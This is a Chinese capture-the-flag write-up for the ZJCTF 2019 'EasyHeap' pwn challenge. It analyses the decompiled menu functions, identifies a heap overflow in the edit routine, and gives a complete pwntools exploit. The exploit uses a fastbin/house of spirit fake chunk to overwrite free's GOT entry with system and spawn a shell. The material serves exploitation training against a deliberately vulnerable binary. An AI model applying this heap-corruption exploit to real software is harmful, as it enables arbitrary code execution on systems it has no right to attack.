【pwn】[ZJCTF 2019]EasyHeap --fastbin攻击,house of spirit
首先查看一下附件的保护情况
可以看到,got表是可修改的状态
接着看主函数的逻辑
非常典型的菜单题,接着分析每一个函数的作用
unsigned __int64 create_heap()
{
int i; // [rsp+4h] [rbp-1Ch]
size_t size; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !*(&heaparray + i) )
{
printf("Size of Heap : ");
read(0, buf, 8uLL);
size = atoi(buf);
*(&heaparray + i) = malloc(size);
if ( !*(&heaparray + i) )
{
puts("Allocate Error");
exit(2);
}
printf("Content of heap:");
read_input(*(&heaparray + i), size); // 往堆中读入数据
puts("SuccessFul");
return __readfsqword(0x28u) ^ v4;
}
}
return __readfsqword(0x28u) ^ v4;
}
这个是creat函数,其实就是创建堆的操作,然后将堆的地址存入heaparray的数组之中
unsigned __int64 edit_heap()
{
int v1; // [rsp+4h] [rbp-1Ch]
size_t v2; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( (unsigned int)v1 >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + v1) )
{
printf("Size of Heap : ");
read(0, buf, 8uLL);
v2 = atoi(buf);
printf("Content of heap : ");
read_input(*(&heaparray + v1), v2);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v4;
}
这个edit函数,可以根据索引,修改堆中的内容,我们可以发现这个修改的size是可以自己重新输入,所以存在堆溢出的漏洞
接着再来看delete函数
unsigned __int64 delete_heap()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( (unsigned int)v1 >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + v1) )
{
free(*(&heaparray + v1));
*(&heaparray + v1) = 0LL;
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}
这里free之后,指针置0,不存在uaf
然后主函数中还有一个函数
int l33t()
{
return system("cat /home/pwn/flag");
}
这道题应该本来是要用unsortedbin打的,但是buuctf平台出现了问题,导致这个方法打不通,关于unsortedbin的方法:好好说话之Unsorted Bin Attack_unsortedbin attack范围-CSDN博客
然后这道题还有house of spirit的打法,以下主要分析这种打法,关于house of spirit打法的资料:好好说话之Fastbin Attack(2):House Of Spirit_fastbin attack house of spirit-CSDN博客
这里我先来介绍一下本题的思路,首先创建三个chunk,分别为0,1,2,然后我们free(2),chunk2就会进入fastbins中,然后我们再通过edit函数编辑chunk1,通过堆溢出覆盖chunk2的fd指针(fd指针表示下一个可用的chunk的指针),将fd指针修改成fake_chunk,这个fake_chunk的内容等下会分析,首先得有这个思路,然后这个fake_chunk得要能绕过malloc函数的检查,随后我们malloc两次,第二次就能将这个fake_chunk创建出来,创建出来之后,我们就可以通过edit函数进行编辑这个fake_chunk
现在我根据exp,一步步分析
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#io=remote("node4.buuoj.cn",25868)
io=process("./easyheap")
elf=ELF("./easyheap")
def debug():
gdb.attach(io)
pause()
def creat(size,content):
io.recvuntil(b"Your choice :")
io.sendline(str(1))
io.recvuntil(b"Size of Heap : ")
io.send(str(size))
io.recvuntil(b"Content of heap:")
io.send(content)
io.recvuntil(b"SuccessFul\n")
def delete(index):
io.recvuntil(b"Your choice :")
io.sendline(str(3))
io.recvuntil(b"Index :")
io.send(str(index))
io.recvuntil("Done !\n")
def edit(index,size,content):
io.recvuntil(b"Your choice :")
io.sendline(str(2))
io.recvuntil(b"Index :")
io.send(str(index))
io.recvuntil(b"Size of Heap : ")
io.send(str(size))
io.recvuntil(b"Content of heap : ")
io.send(content)
io.recvuntil(b"Done !")
creat(0x60,b"aaaa")
creat(0x60,b"aaaa")
creat(0x60,b"aaaa")
delete(2)
#debug()
payload = b'/bin/sh\x00' +b'A'*0x60 + p64(0x71) + p64(0x6020ad)
edit(1,len(payload),payload)
print("su!!!")
#debug()
creat(0x60,b"aaaa")
creat(0x60,b"aaaa")
payload2=b'A'*0x23+p64(elf.got["free"])
edit(3,len(payload2),payload2)
payload3=p64(elf.plt["system"])
edit(0,len(payload3),payload3)
delete(1)
io.interactive()